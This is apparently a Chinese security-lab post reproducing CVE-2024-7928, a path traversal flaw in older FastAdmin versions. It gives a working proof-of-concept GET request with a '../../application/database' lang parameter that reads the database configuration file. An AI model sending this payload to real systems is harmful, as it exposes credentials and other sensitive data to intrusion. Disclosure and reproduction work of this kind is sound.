FastAdmin路径遍历漏洞(CVE-2024-7928)

FastAdmin是Karson个人开发者的一套基于ThinkPHP和Bootstrap的网站后台开发框架。它基于ThinkPHP和Bootstrap两大主流技术构建，拥有完善的权限管理系统和一键生成CRUD等强大功能。FastAdmin致力于提高开发效率，降低开发成本，同时确保后台系统的稳定性和安全性。

FastAdmin 1.3.4.20220530之前版本存在路径遍历漏洞，该漏洞源于存在任意文件读取漏洞，攻击者利用此漏洞可以获取系统敏感信息。

• 影响产品及版本
• FastAdmin 1.3.4.20220530之前版本

POC 

漏洞复现

GET /index/ajax/lang?lang=../../application/database HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

成功读取/application/database。

3.Yakit工具加载nuclei文件测试（漏洞存在）

原文始发于微信公众号（弥天安全实验室）：【成功复现】FastAdmin路径遍历漏洞(CVE-2024-7928)